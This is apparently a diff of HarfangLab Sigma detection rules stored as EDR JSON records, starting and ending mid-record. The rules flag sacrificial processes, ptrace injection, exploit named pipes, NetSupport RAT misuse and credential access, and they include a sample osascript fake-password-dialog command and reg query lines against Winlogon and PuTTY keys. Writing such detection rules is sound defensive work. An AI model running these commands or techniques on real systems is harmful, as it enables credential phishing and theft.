+  "last_update": "2026-03-23T11:45:34.079384Z",
+  "creation_date": "2026-03-23T11:45:34.079386Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.079390Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://research.checkpoint.com/2023/rhadamanthys-v0-5-0-a-deep-dive-into-the-stealers-components/",
+    "https://attack.mitre.org/techniques/T1055/"
+  ],
+  "name": "t1055_sacrificial_process_oobe_maintenance.yml",
+  "content": "title: OOBE-Maintenance.exe Sacrificial Process Spawned\nid: a81d1443-7fa0-450c-b4f2-b2ecffec3fb2\ndescription: |\n    Detects the suspicious execution of the legitimate Windows binary OOBE-Maintenance.exe, spawned without arguments. This can mean that the binary is being used as sacrificial process.\n    Such processes are spawned and malicious code is immediately injected into them for nefarious purposes.\n    This technique is used by Rhadamanthys, a malicious information stealer which is being distributed mostly via malicious Google advertisements.\n    It is recommended to investigate the parent process performing this action and network activities performed by the OOBE-Maintenance.exe process to determine the legitimacy of this behavior.\nreferences:\n    - https://research.checkpoint.com/2023/rhadamanthys-v0-5-0-a-deep-dive-into-the-stealers-components/\n    - https://attack.mitre.org/techniques/T1055/\ndate: 2024/03/27\nmodified: 2025/02/13\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.privilege_escalation\n    - attack.t1055\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.SacrificialProcess\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        CommandLine: '?:\\Windows\\System32\\OOBE-Maintenance.exe'\n\n    filter_parent:\n        ParentImage:\n            - '?:\\Windows\\explorer.exe'\n            - '?:\\Windows\\System32\\sihost.exe'\n\n    # https://houseonthehill.com/\n    exclusion_supdskcs:\n        OriginalFileName: 'SupDskCs.exe'\n        Description: 'SupportDesk Desktop'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a81d1443-7fa0-450c-b4f2-b2ecffec3fb2",
+  "rule_name": "OOBE-Maintenance.exe Sacrificial Process Spawned",
+  "rule_description": "Detects the suspicious execution of the legitimate Windows binary OOBE-Maintenance.exe, spawned without arguments. This can mean that the binary is being used as sacrificial process.\nSuch processes are spawned and malicious code is immediately injected into them for nefarious purposes.\nThis technique is used by Rhadamanthys, a malicious information stealer which is being distributed mostly via malicious Google advertisements.\nIt is recommended to investigate the parent process performing this action and network activities performed by the OOBE-Maintenance.exe process to determine the legitimacy of this behavior.\n",
+  "rule_creation_date": "2024-03-27",
+  "rule_modified_date": "2025-02-13",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a848116c-c586-4b4a-8ec6-564b415f3c6d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.618142Z",
+  "creation_date": "2026-03-23T11:45:34.618145Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.618149Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://fuzzynop.blogspot.com/2014/10/osascript-for-local-phishing.html",
+    "https://attack.mitre.org/techniques/T1059/002/"
+  ],
+  "name": "t1059_002_osascript_prompt_user.yml",
+  "content": "title: User Input Prompted by Osascript\nid: a848116c-c586-4b4a-8ec6-564b415f3c6d\ndescription: |\n    Detects the execution of osascript to execute an Apple Script that prompts the user for inputs.\n    This could be abused by an attacker to present the user with fake dialog to gather informations (like user credentials).\n    It is recommended to investigate the script along with its provenance to determine whether this action was legitimate.\nreferences:\n    - https://fuzzynop.blogspot.com/2014/10/osascript-for-local-phishing.html\n    - https://attack.mitre.org/techniques/T1059/002/\ndate: 2022/11/14\nmodified: 2025/01/20\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1569.002\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Script.Osascript\n    - classification.macOS.LOLBin.Osascript\n    - classification.macOS.Behavior.SensitiveInformation\n    - classification.macOS.Behavior.CredentialAccess\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    # osascript -e 'display dialog \"Password\" default answer \"\" with icon note buttons {\"Cancel\", \"Continue\"} default button \"Continue\"'\n    selection:\n        Image: '/usr/bin/osascript'\n        CommandLine|contains|all:\n          - '-e'\n          - 'display'\n          - 'dialog'\n          - 'answer'\n\n    exclusion_snap_camera:\n        CommandLine|contains: 'Do you want to remove all Snap Camera related data?'\n        ParentCommandLine|contains: '/Applications/Snap Camera.app'\n\n    exclusion_jamf:\n        - ProcessAncestors|contains: '/usr/local/jamf/bin/jamf'\n        - ProcessParentCommandLine|contains: '/Library/Application Support/JAMF/tmp/'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a848116c-c586-4b4a-8ec6-564b415f3c6d",
+  "rule_name": "User Input Prompted by Osascript",
+  "rule_description": "Detects the execution of osascript to execute an Apple Script that prompts the user for inputs.\nThis could be abused by an attacker to present the user with fake dialog to gather informations (like user credentials).\nIt is recommended to investigate the script along with its provenance to determine whether this action was legitimate.\n",
+  "rule_creation_date": "2022-11-14",
+  "rule_modified_date": "2025-01-20",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1569.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a867c7b0-919a-4aae-bf65-062b92f5a59e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.624788Z",
+  "creation_date": "2026-03-23T11:45:34.624790Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.624794Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/Alh4zr3d/status/1612176163509600256",
+    "https://attack.mitre.org/techniques/T1003/"
+  ],
+  "name": "t1003_registry_credential_queries.yml",
+  "content": "title: Possibly Sensitive Registry Values Queried\nid: a867c7b0-919a-4aae-bf65-062b92f5a59e\ndescription: |\n    Detects when reg.exe is used to query registry values that may contain sensitive information such as credentials.\n    Attackers can misuse this technique to access sensitive information stored in specific registry keys, such as WinLogon, VNC, or PuTTY.\n    It is recommended to investigate such queries, review the permissions of processes accessing the registry keys, and check for any unauthorized access to sensitive information.\nreferences:\n    - https://twitter.com/Alh4zr3d/status/1612176163509600256\n    - https://attack.mitre.org/techniques/T1003/\ndate: 2023/01/09\nmodified: 2025/12/10\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003\n    - attack.t1078\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.SensitiveInformation\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_binary:\n        - Image|endswith: '\\reg.exe'\n        - OriginalFileName: 'reg.exe'\n    selection_commandline_action:\n        CommandLine|contains: 'query'\n    selection_reg_values:\n        CommandLine|contains:\n            - '\\SOFTWARE\\Microsoft\\Windows NT\\Currentversion\\Winlogon'\n            - '\\Software\\SimonTatham\\PuTTY\\Sessions'\n            - '\\Software\\ORL\\WinVNC3\\Password'\n\n    exclusion_defaultname:\n        CommandLine:\n            - 'reg query HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon /v DefaultUserName'\n            - 'reg query HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon /v DefaultDomainName'\n\n    exclusion_meraki:\n        - ProcessParentOriginalFileName: 'm_agent_service.exe'\n          # reg query HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon /v AutoAdminLogonCurrentVersion\\Winlogon /reg:32 /v AutoAdminLogon\n          CommandLine|contains|all:\n            - 'HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon'\n            - 'AutoAdminLogon'\n        - ProcessGrandparentOriginalFileName: 'm_agent_service.exe'\n          # reg query HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon /v AutoAdminLogonCurrentVersion\\Winlogon /reg:32 /v AutoAdminLogon\n          CommandLine|contains|all:\n            - 'HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon'\n            - 'AutoAdminLogon'\n        - ProcessParentImage|endswith: '\\m_agent_service.exe'\n          ProcessParentSigned: 'true'\n          ProcessParentSignature: 'Meraki, LLC.'\n          CommandLine|contains|all:\n            - 'HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon'\n            - 'AutoAdminLogon'\n        - ProcessGrandparentImage|endswith: '\\m_agent_service.exe'\n          ProcessGrandparentSigned: 'true'\n          ProcessGrandparentSignature: 'Meraki, LLC.'\n          CommandLine|contains|all:\n            - 'HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon'\n            - 'AutoAdminLogon'\n\n    exclusion_touchify:\n        ProcessParentImage: '?:\\Users\\\\*\\AppData\\Local\\Programs\\co.touchify.player\\Touchify Player.exe'\n        ProcessParentSigned: 'true'\n        ProcessParentSignature: 'Touchify'\n\n    exclusion_emacs:\n        CommandLine: '?:\\Windows\\system32\\reg.exe query HKEY_CURRENT_USER\\Software\\SimonTatham\\PuTTY\\Sessions'\n        ProcessParentOriginalFileName: 'emacs.exe'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a867c7b0-919a-4aae-bf65-062b92f5a59e",
+  "rule_name": "Possibly Sensitive Registry Values Queried",
+  "rule_description": "Detects when reg.exe is used to query registry values that may contain sensitive information such as credentials.\nAttackers can misuse this technique to access sensitive information stored in specific registry keys, such as WinLogon, VNC, or PuTTY.\nIt is recommended to investigate such queries, review the permissions of processes accessing the registry keys, and check for any unauthorized access to sensitive information.\n",
+  "rule_creation_date": "2023-01-09",
+  "rule_modified_date": "2025-12-10",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003",
+    "attack.t1078"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a8b9aac2-c03f-4a42-b223-9380cae3dc1e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.608732Z",
+  "creation_date": "2026-03-23T11:45:34.608735Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.608743Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://docs.microsoft.com/en-us/windows-hardware/customize/desktop/unattend/microsoft-windows-lua-settings-enablelua"
+  ],
+  "name": "t1559_suspicious_named_pipes_connected.yml",
+  "content": "title: Suspicious Named Pipe Connected\nid: a8b9aac2-c03f-4a42-b223-9380cae3dc1e\ndescription: |\n    Detects the opening of a suspicious named pipe used by attackers.\n    This named pipe has been used by attackers in real situations and it is related with malicious code.\n    It is recommended to investigate the process that connected to the named pipe to determine its legitimacy.\nreferences:\n    - https://docs.microsoft.com/en-us/windows-hardware/customize/desktop/unattend/microsoft-windows-lua-settings-enablelua\ndate: 2022/07/26\nmodified: 2025/01/17\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.t1021.002\n    - attack.execution\n    - attack.t1559\n    - classification.Windows.Source.NamedPipe\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    category: named_pipe_connection\n    product: windows\ndetection:\n    selection:\n        PipeName:\n            # https://github.com/klinix5/InstallerFileTakeOver/blob/361612e69a91663890030a892805e58abdf2316c/InstallerFileTakeOver/InstallerFileTakeOver.cpp#L354\n            # InstallerFileTakeOver Custom variant 1 (inlined) - https://bazaar.abuse.ch/sample/f181b8ae88f6c657c3ec3d1d5e8420fbf340c543b3d9292947ae035e3591b664/\n            # InstallerFileTakeOver Custom variant 3 - https://bazaar.abuse.ch/sample/1fe63ba4b112edf2e4ec228ae95db0a3867cfbb6d48c1c19857f7d76f29f066e/\n            - '\\ExploitPipe'\n            # InstallerFileTakeOver Custom variant 2 - https://bazaar.abuse.ch/sample/f285006661a7c47aab70034566a3f1daf6ea7d09d31ed85303d45f5f8d3c67fd/\n            - '\\KartoffelPipe'\n            # https://github.com/itm4n/PrintSpoofer\n            - '\\\\????????-????-????-????-????????????\\pipe\\spoolss'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a8b9aac2-c03f-4a42-b223-9380cae3dc1e",
+  "rule_name": "Suspicious Named Pipe Connected",
+  "rule_description": "Detects the opening of a suspicious named pipe used by attackers.\nThis named pipe has been used by attackers in real situations and it is related with malicious code.\nIt is recommended to investigate the process that connected to the named pipe to determine its legitimacy.\n",
+  "rule_creation_date": "2022-07-26",
+  "rule_modified_date": "2025-01-17",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.002",
+    "attack.t1559"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a90eab98-24ff-483a-b9ce-12145ac7789b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.625834Z",
+  "creation_date": "2026-03-23T11:45:34.625836Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.625840Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.akamai.com/blog/security-research/the-definitive-guide-to-linux-process-injection",
+    "https://cocomelonc.github.io/linux/2024/11/22/linux-hacking-3.html",
+    "https://attack.mitre.org/techniques/T1055/008/"
+  ],
+  "name": "t1055_008_ptrace_remote_code_injection.yml",
+  "content": "title: Ptrace Remote Code Injection\nid: a90eab98-24ff-483a-b9ce-12145ac7789b\ndescription: |\n    Detects a ptrace system call with suspicious parameters.\n    Adversaries may inject malicious code into processes using ptrace (process trace) system calls to evade process-based defenses and potentially elevate privileges.\n    Ptrace system call injection is a method for executing arbitrary code within the address space of a separate, running process. This technique can be implemented using:\n    - PTRACE_POKETEXT/PTRACE_POKEDATA: These operations copy data to specific memory addresses in the target process.\n    - PTRACE_SETREGS: This sets control registers to point to the injected payload.\n    It is recommended to investigate both the source and destination processes for suspicious behavior.\nreferences:\n    - https://www.akamai.com/blog/security-research/the-definitive-guide-to-linux-process-injection\n    - https://cocomelonc.github.io/linux/2024/11/22/linux-hacking-3.html\n    - https://attack.mitre.org/techniques/T1055/008/\ndate: 2025/07/15\nmodified: 2025/12/19\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.privilege_escalation\n    - attack.t1055.008\n    - classification.Linux.Source.ProcessPtrace\n    - classification.Linux.Behavior.ProcessInjection\n    - classification.Linux.Behavior.DefenseEvasion\n    - classification.Linux.Behavior.PrivilegeEscalation\nlogsource:\n    product: linux\n    category: process_ptrace\ndetection:\n    selection:\n        AgentVersion|gte|version: 4.12.0\n        ProcessImage|contains: '?'\n        PtraceRequestStr:\n            - 'PTRACE_POKETEXT' # Copy data to the remote process\n            - 'PTRACE_POKEDATA' # Copy data to the remote process\n            - 'PTRACE_SETREGS'  # Modify the context of the remote process\n        TargetIsChild: false\n\n    exclusion_wine:\n        ProcessImage|endswith:\n            - '/bin/wineserver'\n            - '/usr/lib/wine/wineserver64'\n\n    exclusion_debugging_tools:\n        ProcessImage|endswith:\n            - '/bin/gdb'\n            - '/libexec/gdb'\n            - '/bin/gdbserver'\n            - '/bin/ltrace'\n            - '/bin/dlv'\n            - '/dlv/linux/dlv'\n            - '/go/dlv'\n            - '/intel64/pinbin'\n            - '/bin64/pinbin'\n            - '/bin/lldb-server'\n\n    exclusion_dynatrace:\n        ProcessImage:\n            - '/opt/dynatrace/*/oneagenthelper'\n            - '/opt/dynatrace-agent/*/oneagenthelper'\n\n    exclusion_reptyr:\n        ProcessImage: '/usr/bin/reptyr'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a90eab98-24ff-483a-b9ce-12145ac7789b",
+  "rule_name": "Ptrace Remote Code Injection",
+  "rule_description": "Detects a ptrace system call with suspicious parameters.\nAdversaries may inject malicious code into processes using ptrace (process trace) system calls to evade process-based defenses and potentially elevate privileges.\nPtrace system call injection is a method for executing arbitrary code within the address space of a separate, running process. This technique can be implemented using:\n- PTRACE_POKETEXT/PTRACE_POKEDATA: These operations copy data to specific memory addresses in the target process.\n- PTRACE_SETREGS: This sets control registers to point to the injected payload.\nIt is recommended to investigate both the source and destination processes for suspicious behavior.\n",
+  "rule_creation_date": "2025-07-15",
+  "rule_modified_date": "2025-12-19",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055.008"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a91853a8-d863-424a-8965-3bd13bd30147",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.069633Z",
+  "creation_date": "2026-03-23T11:45:34.069636Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.069644Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1055/"
+  ],
+  "name": "t1055_sacrificial_process_ilasm.yml",
+  "content": "title: Ilasm.exe Sacrificial Process Spawned\nid: a91853a8-d863-424a-8965-3bd13bd30147\ndescription: |\n    Detects the suspicious execution of the legitimate ilasm.exe Windows binary, spawned without arguments and in an abnormal execution context.\n    This can mean that the binary is being used as sacrificial or hollowed process.\n    Such processes are spawned and malicious code is immediately injected into them for nefarious purposes.\n    The Vidar malware is known to use this technique.\n    It is recommended to investigate the parent process performing this action and the destination IP address of the ilasm.exe process to determine the legitimacy of this behavior.\nreferences:\n    - https://attack.mitre.org/techniques/T1055/\ndate: 2024/05/13\nmodified: 2025/02/18\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.privilege_escalation\n    - attack.t1055\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.SacrificialProcess\n    - classification.Windows.Behavior.ProcessTampering\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        CommandLine: '?:\\Windows\\Microsoft.NET\\Framework\\v*\\ilasm.exe'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a91853a8-d863-424a-8965-3bd13bd30147",
+  "rule_name": "Ilasm.exe Sacrificial Process Spawned",
+  "rule_description": "Detects the suspicious execution of the legitimate ilasm.exe Windows binary, spawned without arguments and in an abnormal execution context.\nThis can mean that the binary is being used as sacrificial or hollowed process.\nSuch processes are spawned and malicious code is immediately injected into them for nefarious purposes.\nThe Vidar malware is known to use this technique.\nIt is recommended to investigate the parent process performing this action and the destination IP address of the ilasm.exe process to determine the legitimacy of this behavior.\n",
+  "rule_creation_date": "2024-05-13",
+  "rule_modified_date": "2025-02-18",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a952e760-ea38-44a8-986c-df40805bbac4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.082914Z",
+  "creation_date": "2026-03-23T11:45:34.082916Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.082920Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://perception-point.io/blog/operation-phantomblu-new-and-evasive-method-delivers-netsupport-rat/",
+    "https://blogs.vmware.com/security/2023/11/netsupport-rat-the-rat-king-returns.html",
+    "https://attack.mitre.org/techniques/T1219/002/"
+  ],
+  "name": "t1219_002_abnormal_netsupport_execution.yml",
+  "content": "title: Abnormal NetSupport Execution\nid: a952e760-ea38-44a8-986c-df40805bbac4\ndescription: |\n    Detects the execution of NetSupport from an unusual location.\n    NetSupport is a Remote Access Tool (RAT) which can be used by attackers to establish an interactive command and control channel to target systems within protected networks.\n    It is recommended to verify if the usage of this tool is legitimate.\nreferences:\n    - https://perception-point.io/blog/operation-phantomblu-new-and-evasive-method-delivers-netsupport-rat/\n    - https://blogs.vmware.com/security/2023/11/netsupport-rat-the-rat-king-returns.html\n    - https://attack.mitre.org/techniques/T1219/002/\ndate: 2024/03/25\nmodified: 2025/06/27\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1219.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.RMM.NetSupport\n    - classification.Windows.Behavior.CommandAndControl\n    - classification.Windows.Behavior.InitialAccess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        - ProcessOriginalFileName: 'client32.exe'\n        - ProcessProduct: 'NetSupport Remote Control'\n\n    filter_legitimate_path:\n        Image:\n            - '?:\\Program Files\\\\*'\n            - '?:\\Program Files (x86)\\\\*'\n            # https://help.netsupportschool.com/en-windows/Content/Windows/Deploy/deploy_getting_started.html\n            - '?:\\Windows\\pcirdist.tmp\\PCIRISVR.EXE'\n\n    filter_installer:\n        ProcessDescription: 'NetSupport Installer Helper'\n        ProcessParentImage|endswith: '\\msiexec.exe'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a952e760-ea38-44a8-986c-df40805bbac4",
+  "rule_name": "Abnormal NetSupport Execution",
+  "rule_description": "Detects the execution of NetSupport from an unusual location.\nNetSupport is a Remote Access Tool (RAT) which can be used by attackers to establish an interactive command and control channel to target systems within protected networks.\nIt is recommended to verify if the usage of this tool is legitimate.\n",
+  "rule_creation_date": "2024-03-25",
+  "rule_modified_date": "2025-06-27",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1219.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a9b65e67-ae73-4a0a-93a8-e87d4e15f3a2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.592987Z",
+  "creation_date": "2026-03-23T11:45:34.592990Z",
+  "enabled": true,
